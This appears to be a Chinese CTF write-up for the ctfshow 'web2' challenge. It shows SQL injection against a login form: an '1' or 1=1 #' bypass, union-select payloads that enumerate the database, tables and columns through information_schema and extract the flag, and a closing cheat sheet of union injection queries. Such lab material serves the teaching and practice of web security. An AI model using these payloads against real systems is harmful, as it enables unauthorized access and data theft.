CTF秀web2

CTF秀web2

    • 1.分析题目
    • 2.解题
        • 2.1信息收集
        • 3.2获取数据库
        • 3.3获取数据库表
        • 3.3获取表信息
    • 3.uinon注入语句
        • 3.1 判断注入
        • 3.2 信息收集
        • 3.3注入语句


1.分析题目

CTF秀web2_第1张图片

如上图所示,可以看到是sql注入的题目,进入题目看看,题目页面如下:

CTF秀web2_第2张图片

如上图所示,有输入框,而且还是登录框,你是怎样登录的了,如下所示:

<?php
$db = new PDO("mysql:host=localhost;dbname='xxx'",用户,密码) 
$stmt = $db->prepare(select password from xxx where username )
$result = $stmt->execult();
$row = $resule->fetchAll(2);
if($password == $row['password'])
....

一般就是根据用户名提取密码,再用密码和你输入的进行比对,如果正确就登录成功,根据用户名提取密码的sql语句一般为select password from xxx where username = 你输入的变量,看这条语句你应该知道可以进行union注入和报错注入

2.解题

你会发现不管输入什么,页面都不会变化,这个时候你可能会去查看源码,源码如下:
CTF秀web2_第3张图片
没有action,提交给谁处理数据,tmd,是不是题目错了,我当时就是这样想的,查一下就知道了,没有action交给当前url处理

2.1信息收集

不管输入什么,页面都不会变化,这是因为用户名密码错误,没有从数据库提取到数据回显到页面,让数据库一定会回显就行了,比如select password from xxx where name = xx or 1=1;就一定会回显,所以使用语句1' or 1=1 #

CTF秀web2_第4张图片

用户名输入1' or 1=1 #点登录就会回显了,这题你要搞清楚一点sql语句错误和sql语句查不到数据都不会回显,所以order by 测试数据的时候不会回显,直接select 1,2,3测试

CTF秀web2_第5张图片

1' union select 1,2,3 #,输出点是第二个
CTF秀web2_第6张图片

3.2获取数据库

输入1' union select 1,database(),3 #得到数据库名
CTF秀web2_第7张图片

3.3获取数据库表

输入1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='web2') ,3 #获取表名
CTF秀web2_第8张图片

3.3获取表信息

有表flag,获取flag信息看看,输入1' union select 1,(select group_concat(column_name) from information_schema.COLUMNS where TABLE_SCHEMA='web2' and TABLE_NAME='flag'),3 #

CTF秀web2_第9张图片

有字段flag,获取看看,输入1' union select 1,(select flag from web2.flag limit 0,1),3 #,得到flag如下:

CTF秀web2_第10张图片

ctfshow{2dd14bcb-a5fd-439e-ac38-ca994984360c}

3.uinon注入语句

3.1 判断注入

?id=1 and 1=1
?id=1 and 1=2
order by 3
union select 1,2,3

3.2 信息收集

select version(); # 版本
select user(); # 用户
select @@version_compile_os; # 操作系统
select database(); # 数据库
select @@datadir; # 文件路径

3.3注入语句

  • 获取数据库名:
select group_concat(schema_name) from information_schema.SCHEMATA;
  • 获取指定数据库的表
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='loophole';
  • 获取指定表,指定数据库的列名
select group_concat(column_name) from information_schema.COLUMNS where TABLE_SCHEMA='loophole' and TABLE_NAME='sql_test'; 
  • 获取数据
select username,address from loophole.sql_test limit 0,1; #注意修改limit获取不同的数据
  • Mysqlinformation_schema.schata数据库
information_schema 自带数据库
information_schema.schemata 数据库
    schema_name
information_schema.tables 数据表
    table_schema    结果是:information_schema
    table_name
information_schema.columns 数据列
    table_schema    结果是:information_schema
    column_name
    table_name

你可能感兴趣的:(CTF,数据库,sql,java)